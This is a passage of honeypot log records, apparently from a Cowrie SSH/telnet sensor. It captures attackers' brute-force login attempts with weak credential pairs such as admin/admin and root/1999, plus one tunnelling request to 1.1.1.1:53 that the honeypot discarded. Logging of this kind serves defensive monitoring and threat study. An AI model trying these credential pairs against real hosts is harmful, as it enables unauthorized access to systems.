{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:57:07.991772Z","src_ip":"87.251.64.176","session":"6d7152dc3897","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:57:08.139421Z","src_ip":"87.251.64.176","session":"6d7152dc3897","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:57:08.709583Z","src_ip":"87.251.64.176","session":"6d7152dc3897","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:57:08.853438Z","session":"6d7152dc3897","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:57:09.010441Z","src_ip":"87.251.64.176","session":"6d7152dc3897","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:57:09.323772Z","src_ip":"87.251.64.176","session":"6d7152dc3897","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.128","src_port":46434,"dst_ip":"10.17.0.5","dst_port":22,"session":"13ae2682b191","protocol":"ssh","message":"New connection: 165.154.205.128:46434 (10.17.0.5:22) [session: 13ae2682b191]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:57:32.102442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:57:32.106653Z","src_ip":"165.154.205.128","session":"13ae2682b191","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:57:32.339855Z","src_ip":"165.154.205.128","session":"13ae2682b191","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1999","message":"login attempt [root/1999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:57:33.291810Z","src_ip":"165.154.205.128","session":"13ae2682b191","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:57:34.524983Z","src_ip":"165.154.205.128","session":"13ae2682b191","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.128","src_port":50240,"dst_ip":"10.17.0.5","dst_port":22,"session":"d52d35263fb3","protocol":"ssh","message":"New connection: 165.154.205.128:50240 (10.17.0.5:22) [session: d52d35263fb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:58:28.752886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:58:28.757638Z","src_ip":"165.154.205.128","session":"d52d35263fb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:58:28.985440Z","src_ip":"165.154.205.128","session":"d52d35263fb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"1234","message":"login attempt [hadoop/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:58:29.929804Z","src_ip":"165.154.205.128","session":"d52d35263fb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:58:31.161008Z","src_ip":"165.154.205.128","session":"d52d35263fb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.128","src_port":42874,"dst_ip":"10.17.0.5","dst_port":22,"session":"22ab071f9613","protocol":"ssh","message":"New connection: 165.154.205.128:42874 (10.17.0.5:22) [session: 22ab071f9613]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:59:27.646249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:59:27.654793Z","src_ip":"165.154.205.128","session":"22ab071f9613","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:59:27.891744Z","src_ip":"165.154.205.128","session":"22ab071f9613","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2008","message":"login attempt [root/2008] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:59:28.869995Z","src_ip":"165.154.205.128","session":"22ab071f9613","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:59:30.109940Z","src_ip":"165.154.205.128","session":"22ab071f9613","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.128","src_port":53750,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd9f34b2d11e","protocol":"ssh","message":"New connection: 165.154.205.128:53750 (10.17.0.5:22) [session: cd9f34b2d11e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:00:27.476729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:00:27.486817Z","src_ip":"165.154.205.128","session":"cd9f34b2d11e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:00:27.719749Z","src_ip":"165.154.205.128","session":"cd9f34b2d11e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwER12#$","message":"login attempt [root/qwER12#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:00:28.689646Z","src_ip":"165.154.205.128","session":"cd9f34b2d11e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:00:29.928117Z","src_ip":"165.154.205.128","session":"cd9f34b2d11e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.128","src_port":48192,"dst_ip":"10.17.0.5","dst_port":22,"session":"d438807e2c2b","protocol":"ssh","message":"New connection: 165.154.205.128:48192 (10.17.0.5:22) [session: d438807e2c2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:01:32.240761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:01:32.248049Z","src_ip":"165.154.205.128","session":"d438807e2c2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:01:32.474598Z","src_ip":"165.154.205.128","session":"d438807e2c2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678987654321","message":"login attempt [root/12345678987654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:01:33.416622Z","src_ip":"165.154.205.128","session":"d438807e2c2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:01:34.647263Z","src_ip":"165.154.205.128","session":"d438807e2c2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.128","src_port":53864,"dst_ip":"10.17.0.5","dst_port":22,"session":"a399ce1bf045","protocol":"ssh","message":"New connection: 165.154.205.128:53864 (10.17.0.5:22) [session: a399ce1bf045]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:02:39.147327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:02:39.151825Z","src_ip":"165.154.205.128","session":"a399ce1bf045","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:02:39.379367Z","src_ip":"165.154.205.128","session":"a399ce1bf045","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test0","password":"test0","message":"login attempt [test0/test0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:02:40.319710Z","src_ip":"165.154.205.128","session":"a399ce1bf045","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:02:41.548840Z","src_ip":"165.154.205.128","session":"a399ce1bf045","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.92.15.23","src_port":35596,"dst_ip":"159.203.135.109","dst_port":22,"session":"177e92c41647","protocol":"ssh","message":"New connection: 154.92.15.23:35596 (159.203.135.109:22) [session: 177e92c41647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:02:58.009259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:02:58.013852Z","src_ip":"154.92.15.23","session":"177e92c41647","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.71.65.16","src_port":38258,"dst_ip":"159.203.135.109","dst_port":23,"session":"2cc424ab9886","protocol":"telnet","message":"New connection: 200.71.65.16:38258 (159.203.135.109:23) [session: 2cc424ab9886]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:03:00.804277Z"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:03:06.995710Z","src_ip":"154.92.15.23","session":"177e92c41647","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.258155107498169,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:03:13.062309Z","src_ip":"200.71.65.16","session":"2cc424ab9886","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.128","src_port":53808,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d93368e6e21","protocol":"ssh","message":"New connection: 165.154.205.128:53808 (10.17.0.5:22) [session: 9d93368e6e21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:03:39.115850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:03:39.120858Z","src_ip":"165.154.205.128","session":"9d93368e6e21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@